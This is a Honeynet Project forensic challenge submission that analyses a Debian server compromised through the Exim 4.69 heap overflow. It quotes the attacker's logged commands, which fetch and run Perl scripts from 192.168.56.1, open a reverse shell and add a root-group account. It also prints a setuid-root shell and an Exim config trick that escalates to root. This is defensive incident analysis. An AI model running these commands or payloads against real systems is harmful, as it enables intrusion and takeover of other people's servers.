Know Your Enemy s2

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

Challenge 7: Forensic Analysis of a Compromised Server (simple)

Submission Template

Submit your solution at http://www.honeynet.org/challenge2010/ by 17:00 EST, Thursday, March 30th 2011. Results will be released around the third week of April.

Name (required): Joseph Kahlich Email (required): [email protected] Country (optional):USA Profession (optional): _ Student X:Security Professional _ Other

Question 1. What service and what account triggered the alert? Possible Points: 1pt Tools Used:Vmware server, SANS SIFT Workstation 2.0, Sleuthkit, Autopsy Awarded Points: Answer1. Brief Response: Service: Exim, Account: Debian-exim

Elaboration: Looking at /var/log/exim4/paniclog the following is seen “string too large in smtp_notquit_exit” Based on my experience; this being a “PANIC” note I assume it was written to the local console, thus creating the alert. I then looked in /etc/gshadow to see a list of accounts one of which is listed as Debian-exim. I am not able to determine a solid link that the Debian-exim account was for a fact running the exim service.

Question 2. What kind of system runs on targeted server? (OS, CPU, etc) Possible Points: 1pt Tools Used: Used:Vmware server, SANS SIFT Workstation 2.0, Sleuthkit, Autopsy Awarded Points: Answer 2. Brief Response: Virtual machine, (VBox) Linux; Debian 2.6.26, 256 MB memory, Single 1.4 GHz Intel compatible CPU, EXT3 file system, SATA max UDMA/133 HDD, Intel Pro 1000 NIC running at 1000 full duplex

Elaboration: Looking into /var/log/dmesg I was able to extract the above information.

Question 3. What processes were running on targeted server? Possible Points: 2pts Tools Used: Vmware server, SANS SIFT Workstation 2.0, Volatility Framework 1.4_rcl Awarded Points: Brief Response: Arguments Pid Uid init [2] 1 0 [kthreadd] 2 0 [migration/0] 3 0 [ksoftirqd/0] 4 0 [watchdog/0] 5 0 [events/0] 6 0 [khelper] 7 0 [kblockd/0] 39 0 [kacpid] 41 0 [kacpi_notify] 42 0 [kseriod] 86 0 [pdflush] 123 0 [pdflush] 124 0 [kswapd0] 125 0 [aio/0] 126 0 [ksuspend_usbd] 581 0 [khubd] 582 0 [ata/0] 594 0 [ata_aux] 595 0 [scsi_eh_0] 634 0 [kjournald] 700 0 udevd --daemon 776 0 [kpsmoused] 1110 0 /sbin/portmap 1429 1 /sbin/rpc.statd 1441 102 dhclient3 -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp3/dhclient.eth0.leases eth0 1624 0 /usr/sbin/rsyslogd -c3 1661 0 /usr/sbin/acpid 1672 0 /usr/sbin/sshd 1687 0 /usr/sbin/exim4 -bd -q30m 1942 101 /usr/sbin/cron 1973 0 /bin/login -- 1990 0 /sbin/getty 38400 tty2 1992 0 /sbin/getty 38400 tty3 1994 0 /sbin/getty 38400 tty4 1996 0 /sbin/getty 38400 tty5 1998 0 /sbin/getty 38400 tty6 2000 0 -bash 2042 0 sh 2065 0 memdump 2168 0 nc 192.168.56.1 8888 2169 0

Elaboration: The above list was pulled using volatility.py with the command volatility.py –f /home/victoria- v8.memdump.img –profile=debian2626 linux_task_list_psaux > /home/processes.txt. Of great interest in this list is the net cat process connecting to 192.168.56.1 on port 8888 which is suspected to be the attackers machine. Also of interest is that SSHD is running. According to the /etc/sshd config file this service does not restrict which hosts can connect to it and does allow remote connectivity with the root account. Exim4 is also showing to be running in listen mode

and is scheduled for queue runs every 30 minutes.

Question 4. What are attackers IP and target IP addresses? Possible Points: 2pts Tools Used: Vmware server, SANS SIFT Workstation 2.0, volatility Awarded Points: Brief Response: Attacker’s IP is 192.168.56.101 and 192.168.56.1. The target IP address is 192.168.56.102.

Elaboration: Looking at /var/log/exim4/mainlog one is able to see that an email from 192.168.56.101 is being rejected and that part of the contents of the message is sending requests for connections to 192.168.56.1. Looking at the netstat information derived from the memory dump using the volatility command volatility.py –f /Victoria-v8.memdump.img – profile=debian2626 linux _netstat does show that were connections made to192.168.56.102 on port 25 from 192.168.56.101.

Question 5. What service was attacked? Possible Points: 1pt Tools Used: Vmware server, SANS SIFT Workstation 2.0 Awarded Points: In Brief: exim4

Elaboration: Viewing the /var/log/exim4/mainlog one can see emails coming in that are too large for the exim4 service and that contain what appear to be malicious commands; for example calls to server 192.168.56.1 to pull down files c.pl and rk.tar.

Question 6. What attacks were launched against targeted server? Possible Points: 2pt Tools Used: Vmware server, SANS SIFT Workstation 2.0 Awarded Points:

In Brief: The Heap Buffer Overflow Attack was used to send multiple times to send multiple commands: {run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl 192.168.56.1 4444; sleep 1000000'"}}

{run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/82.txt -O /tmp/c.pl;perl /tmp/c.pl ; sleep 1000000'"}}

{run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl ; sleep 1000000'"}}

{run{/bin/sh -c "exec /bin/sh -c 'useradd --gid root --create-home --password 0 0mkpasswd -H md5 Ulyss3s) ulysses'"}}

{run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/rk.tar -O /tmp/rk.tar; sleep 1000'"}}

{run{/bin/sh -c "exec /bin/sh -c 'rm /tmp/rk.tar; sleep 1000'"}}

Elaboration: Looking into the /var/log/exim4/mainlong and rejected log the above pasted attacks can be seen; each appended to messages taking advantage of the exim4 4.69 heap buffer overflow.

Question 7. What flaws or vulnerabilities did he exploit? Possible Points: 2pts Tools Used: Vmware server, SANS SIFT Workstation 2.0, Internet for research Awarded Points: Answer 7. In Brief: Memory corruption via heap overflow in exim4 version 4.69.

Elaboration: /var/log/exim4/mainlog one is able to see that the version of exim running is 4.69. This version is vulnerable to a heap overflow according to CVE-2010-4344. There is a Metasploit module to exploit this vulnerability. Emails from 192.168.56.101appear to be performing such an exploit as described in the Metasploit module: “The root cause is that no check is made to ensure that the buffer is not full prior to handling '%s' format specifiers within the 'string_vformat' function. In order to trigger this issue, we get our message rejected by sending a message that is too large. This will call into log_write to log rejection headers (which is a default configuration setting). After filling the buffer, a long header string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL FROM' command. By sending a second message, the string we sent will be evaluated with 'expand_string' and arbitrary shell commands can be executed.” (http://www.exploit-db.com/exploits/16925/)

Question 8. Were the attacks successful? Did some fail? Possible Points: 2pts Tools Used: Vmware server, SANS SIFT Workstation 2.0 Awarded Points: In Brief: Some were successful and some did fail.

Elaboration: Appears to be successful: This command appears to have completed successfully. It looks to be a call to download c.pl from 192.168.56.1 using wget and writing output to /tmp/c.pl; which does still exist on the image. Perl is then called to execute c.pl with the arguments of a host IP (192.168.56.1 in this case) and a port (4444) in this case. Based on the contents of c.pl this is proper syntax to execute the file.

{run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl 192.168.56.1

4444; sleep 1000000'"}}

The c.pl file then run’s commands to create an s.c file in the /var/spool/exim4 directory. An additional command within c.pl then compiles s.c to use using gcc and attempt to delete the s.c /var/spool/exim4/s.c file. Next c.pl attempts to create a /tmp/e.conf file which is to be used to actually run further commands when called. Later in c.pl exim attempted to be executed and attempts to call e.conf as its configuration file to run chown and chmod commands on the new compiled s file.

It is unable to tell if the next command did complete successfully but it to attempts to copy down 82.txt and write it to c.pl; however when executed the attacker does no use a host and port argument which causes the script to die. {run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/82.txt -O /tmp/c.pl;perl /tmp/c.pl ; sleep 1000000'"}}

As with the previous command discussed the attack attempts to once again copy a version of c.pl from 192.168.56.1 to /tmp/c.pl but again fails to execute it with the proper arguments. {run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl ; sleep 1000000'"}}

The attacker then attempts to create an account with the username Ulysses and password Ulyss3s); this appears to fail as there is no account ulysses account found on the system (looking into the etc/passwd file) {run{/bin/sh -c "exec /bin/sh -c 'useradd --gid root --create-home --password 0 0mkpasswd -H md5 Ulyss3s) ulysses'"}}

This command to download a file named rk.tar appears to have completed successfully as it does exist on the system. {run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/rk.tar -O /tmp/rk.tar; sleep 1000'"}}

This command does not appear to have completed successfully since rk.tar remains on the system. {run{/bin/sh -c "exec /bin/sh -c 'rm /tmp/rk.tar; sleep 1000'"}}

Looking in /var/log/auth.log shows multiple failed attempts to connect over SSH with the account Ulysses from IP 192.168.56.1

Question 9. What did the attacker obtain with attacks? Possible Points: 2pts Tools Used: Vmware server, SANS SIFT Workstation 2.0 Awarded Points: In Brief: Access as Debian-exim and a reverse shell as root

Elaboration: Looking at the owner and group of the files created c.pl, rk.tar and the deleted s.c they all belong to UID 101 and GUID 103 which are both debian-exim. The s file is actually a reverse shell back to the attacker and executes as root.

Question 10. Did the attacker download files? Which ones? Give a quick analysis of those files. Possible Points: 3pts Tools Used: Vmware server, SANS SIFT Workstation 2.0, gedit, bless hex editor Awarded Points: In Brief: c.pl a Perl file that was to write compile execute and delete additional files. rk.tar a compressed file that included a root kit.

Elaboration: C.pl is a Perl file that created another file s.c which as the code shows below attempts to set permissions to root upon execution and then open a reverse shell command interpreter. open FILE, ">/var/spool/exim4/s.c"; print FILE qq{ #include #include int main(int argc, char *argv[]) { setuid(0); setgid(0); setgroups(0, NULL); execl("/bin/sh", "sh", NULL); } }; close FILE;

The file then uses gcc to compile s.c system("gcc /var/spool/exim4/s.c -o /var/spool/exim4/s; rm /var/spool/exim4/s.c");

And then creates a file named e.conf to be used as the exim4 config file; this config file is expected to run commands on the s file that make the owner and group root and set permissions on the file so read write execute are available to root and read/execute is available to the group and world. open FILE, ">/tmp/e.conf"; print FILE "spool_directory = \${run{/bin/chown root:root /var/spool/exim4/s}}\${run{/bin/chmod 4755 /var/spool/exim4/s}}"; close FILE;

In the last block of code the first line is using the Perl system command to execute exim with the e.conf file and then delete e.conf. The next line the code is calling the uname –a command to enumerate the OS version system. After that the the script tries to execute s executable file and then a final system call calls the variable $system which is set to /bin/sh. system("exim -C/tmp/e.conf -q; rm /tmp/e.conf"); system("uname -a;"); system("/var/spool/exim4/s"); system($system);

rk.tar

This appears to be a root kit. Once extracted the root folder contains a program call dropbear which according to analysis with a hex editor and research on the web appears to be an SSH client. There is another executable file named mig which appears to be a log cleaner. Looking at this file with a hex editor it appears to be MIG Logcleaner v. 2.0. There is also an install.sh file at the root along with a vars.sh that contains the variables: rk_port 44965 and rk_home_dir=/usr/include/sslv3 (which did not appear on the sda image file). Finally a subdirectory named procps is also at the root and contains several executable files.

Question 11. What can you say about the attacker? (Motivation, skills, etc) Possible Points: 2pts Tools Used: Vmware server, SANS SIFT Workstation 2.0 Awarded Points: Based on the lack of success of this attack and how “loud” the attack appears I would say that this attacker is amateur to at best mildly is experienced in attack. Motivation appears to be entertainment. This is based on the limited amount of time and effort put into the attack, merely a few minutes. By “loud” mentioned previously there are many files left behind and the log files do not appear to even have been attempted to be cleaned.

Question 12. Do you think these attacks were automated? Why? Possible Points: 1pt Tools Used: Vmware server, SANS SIFT Workstation 2.0 Awarded Points: No. Based on the time frame and the alteration of commands attempted, for example:

{run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl 192.168.56.1 4444; sleep 1000000'"}}

{run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/82.txt -O /tmp/c.pl;perl /tmp/c.pl ; sleep 1000000'"}}

{run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl ; sleep 1000000'"}}

Notice in these commands there is a wget for c.pl, then with an attempt to call c.pl with a host and port as arguments, then a wget for 82.txt, with no host and port argument, and then back to c.pl but this time when trying to execute not giving the host and port arguments. It almost appears that when the first attempt did not work the individual started hacking away (no pun intended) at making the commands work. Then there were other commands as well such as the attempt to create an account named Ulysses and the a wget of the rk.tar file. These appear random and too spaced out time wise to be automated.

Question 13. What could have prevented the attacks? Possible Points: 2pts Tools Used: : Vmware server, SANS SIFT Workstation 2.0, Internet Awarded Points: Patching exim or using an alternative mail server that was not vulnerable. Also based on research on the Internet this vulnerability was known about for over 2 years so a more rapid fix by the developers would have been helpful.

Bonus. From memory image, can you say what network connections were opened and in which state ? Tools Used: : Vmware server, SANS SIFT Workstation 2.0, volatility Awarded Points: UDP 0.0.0.0:111 0.0.0.0:0 portmap/1429 TCP 0.0.0.0:111 0.0.0.0:0 LISTEN portmap/1429 UDP 0.0.0.0:769 0.0.0.0:0 rpc.statd/1441 UDP 0.0.0.0:38921 0.0.0.0:0 rpc.statd/1441 TCP 0.0.0.0:39296 0.0.0.0:0 LISTEN rpc.statd/1441 UDP 0.0.0.0:68 0.0.0.0:0 dhclient3/1624 UNIX /dev/log UNIX /var/run/acpid.socket TCP 0000:0000:0000:0000:0000:0000:0000:0000:22 0000:0000:0000:0000:0000:0000:0000:0000:0 LISTEN sshd/1687 TCP 0.0.0.0:22 0.0.0.0:0 LISTEN sshd/1687 TCP 0000:0000:0000:0000:0000:0000:0000:0000:25 0000:0000:0000:0000:0000:0000:0000:0000:0 LISTEN exim4/1942 TCP 0.0.0.0:25 0.0.0.0:0 LISTEN exim4/1942 TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065 TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065 TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065 TCP 192.168.56.102:25 192.168.56.101:37202 CLOSE sh/2065 TCP 192.168.56.102:25 192.168.56.101:37202 CLOSE sh/2065 TCP 192.168.56.102:56955 192.168.56.1:8888 ESTABLISHED nc/2169

There are several netcat connections open and established. 3 to port 4444 and one to 8888. There are two SMTP connections in a closed state. SSH is listening on port 22 and exim on port 25.